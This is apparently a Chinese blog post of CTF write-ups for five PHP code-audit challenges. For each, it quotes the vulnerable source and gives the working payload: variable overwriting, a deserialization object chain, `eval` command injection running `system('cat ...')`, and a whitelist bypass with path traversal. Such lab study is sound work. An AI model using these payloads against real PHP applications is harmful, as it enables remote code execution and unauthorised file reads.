web专题之php代审(二)

复制代码
这里的话将会延续上次的php代审主题,相关的题目依旧是来自ctfshow的菜狗杯(我是菜狗...)然后之后的各种类型也会慢慢更新。

1.这是来自ctfshow菜狗杯的一道题:无一幸免

代码如下:

php 复制代码
<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
if (isset($_GET['0'])){  
    $arr[$_GET['0']]=1;  
    if ($arr[]=1){  
        die($flag);  
    }  
    else{  
        die("nonono!");  
    }  
}

这道题比较奇怪,url拼接中只要参数有0,直接就会弹出flag。仔细一看发现是if判断中的问题,这里的判断语句"$arr\[\]=1"是赋值语句,导致判断永真(稀里糊涂地就过了...)。

后来我看了其他大佬的题解,是使用了数组整数溢出来绕过的,也就是说if与else中的内容互换就对了。

payload:

ini 复制代码
?0=9223372036854775807

2.这是来自ctfshow菜狗杯的一道题:遍地飘零

代码如下:

php 复制代码
<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
$zeros="000000000000000000000000000000";  
  
foreach($_GET as $key => $value){  
    $$key=$$value;  
}  
  
if ($flag=="000000000000000000000000000000"){  
    echo "好多零";  
}else{  
    echo "没有零,仔细看看输入有什么问题吧";  
    var_dump($_GET);  
}

这一题是比较经典的绕过题,重点是语句"var_dump($_GET)",该语句实现的是输出每一个get方式传入参数的键值对的内容以及类型。

foreach()函数中遍历每一个键值对,然后实现 k e y = key= key=value。这里有一个漏洞点,假如我们传入的参数是_GET,那么这里就变为 $_GET={...},之后的var_dump()函数是不是就能"等量代换"了?从而输出我们想要的内容?

于是payload

ini 复制代码
?_GET=flag

var_dump()函数就能打印出$flag的内容了

3.这是来自ctfshow菜狗杯的一道题:小舔田?

代码如下:

php 复制代码
<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
class Moon{  
    public $name="月亮";  
    public function __toString(){  
        return $this->name;  
    }  
      
    public function __wakeup(){  
        echo "我是".$this->name."快来赏我";  
    }  
}  
  
class Ion_Fan_Princess{  
    public $nickname="牛夫人";  
  
    public function call(){  
        global $flag;  
        if ($this->nickname=="小甜甜"){  
            echo $flag;  
        }else{  
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";  
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";  
        }  
    }  
      
    public function __toString(){  
        $this->call();  
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;  
    }  
}  
  
if (isset($_GET['code'])){  
    unserialize($_GET['code']);  
  
}else{  
    $a=new Ion_Fan_Princess();  
    echo $a;  
}

这是一道反序列化的题目,需要进行构造作为code参数传入。

我们分析一下,只有在nickname="小甜甜"以及call()函数被调用的时候,才能输出flag。但是call()函数的调用首先需要的是魔术方法__toString()的调用,在该类中无调用__toString的途径。

后面上网查了一下,当对象处于 "需要被转换为字符串" 的场景时,__toString() 会被自动调用,并返回一个字符串。我们发现Moon类中的__wakeup()函数中存在"$this->name",这里可以利用一下。

序列化代码:

php 复制代码
<?php
class Moon{
    public $name;
}

class Ion_Fan_Princess{
    public $nickname;
}

$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname = '小甜甜';
echo serialize($a);
?>

我们将new出来的Ion_Fan_Princess类赋值给 $a的name变量,使其满足Ion_Fan_Princess类中__toString()函数的自动调用条件(),再使得nickname为"小甜甜"即可

序列化:

css 复制代码
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

最终得到flag

4.这是来自ctfshow菜狗杯的一道题:web签到

php 复制代码
<?php  
  
/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date:   2022-11-10 17:20:38  
# @Last Modified by:   h1xa  
# @Last Modified time: 2022-11-11 09:38:59  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  
  
*/  
  
  
error_reporting(0);  
highlight_file(__FILE__);  
  
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

乍一看比较复杂,我们需要由里到外逐层分析

第一层,传入的是cookie值,我们令'CTFshow-QQ群:'=a,那么第二层:$_POSTa

第二层,这里需要的是POST方法传参,我们令a=b,那么第三层:$_GETb

第三层,同理,GET方法传参,我们令b=c,那么第四层:$_REQUESSTc

实际上这里的c是作为数组传入,后面是具体下标,我们可以在此拼接命令,例如c607580944=system('ls /'); 来查看根目录下的文件。

我们在bp中改包,记得需要将'CTFshow-QQ群:'进行url编码,然后记得改为POST上传,查看到的内容如下:

arduino 复制代码
bin dev etc f1agaaa home lib media mnt proc root run sbin srv sys tmp usr var

改为system('cat /f1agaaa');即可查看到flag内容。

5.这是来自BUUCTF的一道题:## HCTF 2018WarmUp

F12,查看源码,发现有source.php,访问之后,代码如下

php 复制代码
<?php  
    highlight_file(__FILE__);  
    class emmm  
    {  
        public static function checkFile(&$page)  
        {  
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  
            if (! isset($page) || !is_string($page)) {  
                echo "you can't see it";  
                return false;  
            }  
  
            if (in_array($page, $whitelist)) {  
                return true;  
            }  
  
            $_page = mb_substr(  
                $page,  
                0,  
                mb_strpos($page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }  
  
            $_page = urldecode($page);  
            $_page = mb_substr(  
                $_page,  
                0,  
                mb_strpos($_page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }  
            echo "you can't see it";  
            return false;  
        }  
    }  
  
    if (! empty($_REQUEST['file'])  
        && is_string($_REQUEST['file'])  
        && emmm::checkFile($_REQUEST['file'])  
    ) {  
        include $_REQUEST['file'];  
        exit;  
    } else {  
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";  
    }    
?>

发现有一个hint.php,我们访问一下,发现给了flag文件名。

接着进行代码审计

主要函数有mb_substr( s t r i n g , string, string,start,$length), 实现截取一定条件下的子串,第一个参数是原字符串,第二个参数是截取开始的下标,第三个参数是截取的长度。

以及mb_strpos( s t r i n g , string, string,a) ,实现的是返回字符串中特定字符第一次出现的下标,第一个参数是原字符串,第二个参数是特定字符。

需要传入的参数要满足是string字符串,以及能够过emm类中的白名单限制。

我们传递的参数需要有hint.php,或者source.php。

php 复制代码
$_page = mb_substr(  
                $page,  
                0,  
                mb_strpos($page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }  

这段代码表示了只需要参数值中第一个?之前的值,所以只需要hint.php?...,后面拼接flag文件名即可成功绕过。

接着还是类似的代码,第二次绕过,仔细看发现这里是同理的。

php 复制代码
            $_page = urldecode($page);  
            $_page = mb_substr(  
                $_page,  
                0,  
                mb_strpos($_page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            } 

结合大佬的题解,一般source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,所以需要至少四层,我们可以返回到根目录下。

payload

ini 复制代码
?file=hint.php?/../../../../ffffllllaaaagggg

最后是可以得到flag。

相关推荐
两个人的幸福2 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo4 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack4 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户3074596982075 天前
PHP 扩展——从入门到理解
php
鹏仔先生5 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下5 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip5 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
酉鬼女又兒6 天前
零基础入门计算机网络运输层:端到端通信核心作用、端口号分类规则、复用分用工作机制及UDP与TCP协议全方位对比详解
网络·网络协议·tcp/ip·计算机网络·考研·udp·php
dog2506 天前
不要再继续优化 TCP
网络协议·tcp/ip·php
Channing Lewis6 天前
PHP 解析 Excel 的那些坑:一次“行号错位”引发的数据丢失
开发语言·php·excel